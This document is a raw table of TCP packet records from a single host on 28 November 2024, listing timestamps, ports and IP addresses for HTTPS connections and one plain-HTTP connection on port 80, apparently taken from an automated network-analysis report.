TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 00:19:02.658453941 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:02.658493996 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:02.658762932 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:02.658775091 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:02.659889936 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.150002956 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:03.150029898 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:03.150047064 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:03.150202036 CET	49707	443	192.168.2.6	20.198.119.84
Nov 28, 2024 00:19:03.150204897 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:03.150238037 CET	49707	443	192.168.2.6	20.198.119.84
Nov 28, 2024 00:19:03.155709982 CET	49707	443	192.168.2.6	20.198.119.84
Nov 28, 2024 00:19:03.183073044 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.183140039 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.183156967 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.183342934 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:03.183393002 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.183409929 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.183425903 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.183464050 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:03.183506012 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:03.191926003 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.192033052 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.192133904 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:03.200762987 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.200834036 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.200928926 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:03.236932039 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:03.237018108 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:03.280937910 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:03.362406015 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.362422943 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.362543106 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.362564087 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.364005089 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.714205027 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:03.716594934 CET	49707	443	192.168.2.6	20.198.119.84
Nov 28, 2024 00:19:03.716713905 CET	49707	443	192.168.2.6	20.198.119.84
Nov 28, 2024 00:19:03.716823101 CET	49707	443	192.168.2.6	20.198.119.84
Nov 28, 2024 00:19:03.841906071 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:03.841936111 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:03.842978954 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.843005896 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.843127966 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:03.843377113 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:03.845640898 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.845761061 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.845846891 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:03.854470968 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.854635000 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.854720116 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:03.863305092 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.863445997 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.863521099 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:03.872164965 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.872243881 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.872323036 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:03.881019115 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:03.921927929 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:04.010272980 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:04.010298967 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:04.033894062 CET	49708	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:04.033938885 CET	443	49708	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.034035921 CET	49708	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:04.046765089 CET	49708	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:04.046782970 CET	443	49708	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.136028051 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.136059999 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.136123896 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.136135101 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.137234926 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.274095058 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:04.328102112 CET	49707	443	192.168.2.6	20.198.119.84
Nov 28, 2024 00:19:04.475194931 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:04.515625954 CET	49707	443	192.168.2.6	20.198.119.84
Nov 28, 2024 00:19:04.572953939 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.572993994 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.573172092 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:04.577348948 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.577439070 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.577548981 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:04.586218119 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.586330891 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.586458921 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:04.595035076 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.595140934 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.595230103 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:04.603878021 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.603964090 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:04.604053974 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:04.676331997 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:04.677200079 CET	49707	443	192.168.2.6	20.198.119.84
Nov 28, 2024 00:19:04.802575111 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:05.234369040 CET	443	49707	20.198.119.84	192.168.2.6
Nov 28, 2024 00:19:05.281255007 CET	49707	443	192.168.2.6	20.198.119.84
Nov 28, 2024 00:19:05.363857031 CET	49709	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:05.363864899 CET	49710	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:05.363889933 CET	443	49709	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:05.363905907 CET	443	49710	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:05.363965988 CET	49709	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:05.364013910 CET	49710	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:05.365613937 CET	49709	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:05.365629911 CET	443	49709	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:05.365720034 CET	49710	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:05.365734100 CET	443	49710	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:05.920733929 CET	443	49708	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:05.920869112 CET	49708	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:05.935970068 CET	49708	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:05.935986042 CET	443	49708	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:05.936203957 CET	443	49708	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:05.936549902 CET	49708	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:05.936619997 CET	49708	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:05.936649084 CET	443	49708	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:06.606939077 CET	443	49708	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:06.606971979 CET	443	49708	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:06.607011080 CET	443	49708	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:06.607074022 CET	443	49708	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:06.607083082 CET	49708	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:06.607136011 CET	49708	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:06.607928991 CET	49708	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:06.607949972 CET	443	49708	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:06.607963085 CET	49708	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:06.607968092 CET	443	49708	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:06.796926975 CET	49674	443	192.168.2.6	173.222.162.64
Nov 28, 2024 00:19:06.796930075 CET	49673	443	192.168.2.6	173.222.162.64
Nov 28, 2024 00:19:07.109371901 CET	49672	443	192.168.2.6	173.222.162.64
Nov 28, 2024 00:19:07.256721020 CET	443	49709	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:07.256835938 CET	49709	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:07.292309046 CET	49709	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:07.292339087 CET	443	49709	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:07.292676926 CET	443	49709	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:07.293823957 CET	49709	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:07.294542074 CET	49709	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:07.294576883 CET	443	49709	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:07.305531025 CET	443	49710	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:07.305619955 CET	49710	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:07.308549881 CET	49710	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:07.308562994 CET	443	49710	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:07.308762074 CET	49710	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:07.308770895 CET	443	49710	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:07.308990955 CET	443	49710	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:07.309142113 CET	49710	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:07.719444990 CET	443	49709	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:07.719471931 CET	443	49709	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:07.719551086 CET	443	49709	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:07.719568014 CET	49709	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:07.719630957 CET	49709	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:07.720779896 CET	49709	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:07.720797062 CET	443	49709	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:08.020503998 CET	443	49710	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:08.020560026 CET	443	49710	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:08.020593882 CET	49710	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:08.020611048 CET	443	49710	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:08.020625114 CET	49710	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:08.020627022 CET	443	49710	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:08.020658970 CET	49710	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:08.020684004 CET	49710	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:08.021183014 CET	49710	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:08.021199942 CET	443	49710	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:11.200992107 CET	49713	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:11.201056004 CET	443	49713	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:11.201126099 CET	49713	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:11.201772928 CET	49713	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:11.201792955 CET	443	49713	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:13.451838017 CET	443	49713	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:13.451945066 CET	49713	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:13.531730890 CET	49713	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:13.531759024 CET	443	49713	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:13.531996965 CET	443	49713	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:13.718745947 CET	49713	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:14.031529903 CET	49713	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:14.031579971 CET	49713	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:14.031594992 CET	443	49713	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:14.031774044 CET	49713	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:14.049627066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:14.079334021 CET	443	49713	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:14.173394918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:14.173477888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:14.174240112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:14.297916889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:14.579953909 CET	443	49713	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:14.580035925 CET	443	49713	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:14.580256939 CET	49713	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:14.580992937 CET	49713	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:14.581008911 CET	443	49713	20.198.119.143	192.168.2.6
Nov 28, 2024 00:19:14.581022024 CET	49713	443	192.168.2.6	20.198.119.143
Nov 28, 2024 00:19:15.431848049 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:15.431883097 CET	443	49715	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:15.432099104 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:15.432327032 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:15.432368040 CET	443	49716	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:15.432486057 CET	49717	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:15.432507992 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:15.432513952 CET	443	49717	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:15.432562113 CET	49717	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:15.436146975 CET	49717	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:15.436163902 CET	443	49717	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:15.436249018 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:15.436266899 CET	443	49716	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:15.436336994 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:15.436353922 CET	443	49715	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:15.574301958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:15.574368000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:15.577589035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:15.701428890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:16.046084881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:16.046159983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:16.047727108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:16.171497107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:16.409252882 CET	49673	443	192.168.2.6	173.222.162.64
Nov 28, 2024 00:19:16.421875000 CET	49674	443	192.168.2.6	173.222.162.64
Nov 28, 2024 00:19:16.500514984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:16.500598907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:16.500674009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:16.670959949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:16.794750929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:16.812519073 CET	49672	443	192.168.2.6	173.222.162.64
Nov 28, 2024 00:19:17.124258995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.124289989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.124300003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.124336004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:17.124378920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:17.124449015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.124461889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.124480009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.124491930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:17.124507904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:17.124526978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:17.132846117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.132900000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:17.134601116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:17.258390903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.276808023 CET	443	49717	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.276941061 CET	49717	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.279817104 CET	443	49716	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.279886961 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.281049013 CET	49717	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.281060934 CET	443	49717	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.281316996 CET	443	49717	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.281419039 CET	49717	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.289046049 CET	49717	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.289078951 CET	443	49717	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.290340900 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.290349960 CET	443	49716	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.290638924 CET	443	49716	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.290659904 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.290698051 CET	443	49716	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.290708065 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.332942963 CET	443	49715	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.333014011 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.335891008 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.335901976 CET	443	49715	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.336107969 CET	443	49715	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.336111069 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.336153030 CET	443	49715	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.336164951 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.379822969 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:17.379863024 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:17.379940033 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:17.380207062 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:17.380220890 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:17.587219954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.587279081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:17.620086908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:17.620131016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:17.712440968 CET	443	49717	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.712461948 CET	443	49717	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.712522030 CET	49717	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.712522030 CET	49717	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.712538004 CET	443	49717	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.712551117 CET	443	49717	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.712596893 CET	49717	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.715289116 CET	49717	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:17.715306044 CET	443	49717	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:17.743968010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.744029045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.744040966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.744055986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.744127035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.744190931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.744203091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:17.744215012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:18.003101110 CET	443	49716	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:18.003117085 CET	443	49716	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:18.003151894 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:18.003169060 CET	443	49716	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:18.003179073 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:18.003221989 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:18.003227949 CET	443	49716	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:18.003237963 CET	443	49716	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:18.003264904 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:18.003290892 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:18.006027937 CET	49716	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:18.006042004 CET	443	49716	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:18.108427048 CET	443	49715	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:18.108448982 CET	443	49715	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:18.108478069 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:18.108499050 CET	443	49715	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:18.108511925 CET	443	49715	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:18.108520031 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:18.108603954 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:18.295835018 CET	443	49715	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:18.295912981 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:18.296740055 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:18.296787977 CET	443	49715	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:18.296873093 CET	49715	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:18.616031885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:18.616120100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:18.931498051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:19.057063103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:19.088898897 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:19.088943958 CET	443	49719	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:19.089055061 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:19.091494083 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:19.091511965 CET	443	49719	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:19.145430088 CET	49720	443	192.168.2.6	2.16.158.43
Nov 28, 2024 00:19:19.145462036 CET	443	49720	2.16.158.43	192.168.2.6
Nov 28, 2024 00:19:19.145628929 CET	49720	443	192.168.2.6	2.16.158.43
Nov 28, 2024 00:19:19.152585983 CET	49720	443	192.168.2.6	2.16.158.43
Nov 28, 2024 00:19:19.152597904 CET	443	49720	2.16.158.43	192.168.2.6
Nov 28, 2024 00:19:19.183083057 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.183182955 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:19.185468912 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:19.185481071 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.185755968 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.196208000 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:19.202411890 CET	443	49704	173.222.162.64	192.168.2.6
Nov 28, 2024 00:19:19.202861071 CET	49704	443	192.168.2.6	173.222.162.64
Nov 28, 2024 00:19:19.239373922 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:19.314039946 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:19.314083099 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:19.314110994 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:19.314136028 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:19.314192057 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:19.314405918 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:19.314609051 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:19.314619064 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:19.314698935 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:19.314713955 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:19.314743996 CET	49723	443	192.168.2.6	150.171.27.10
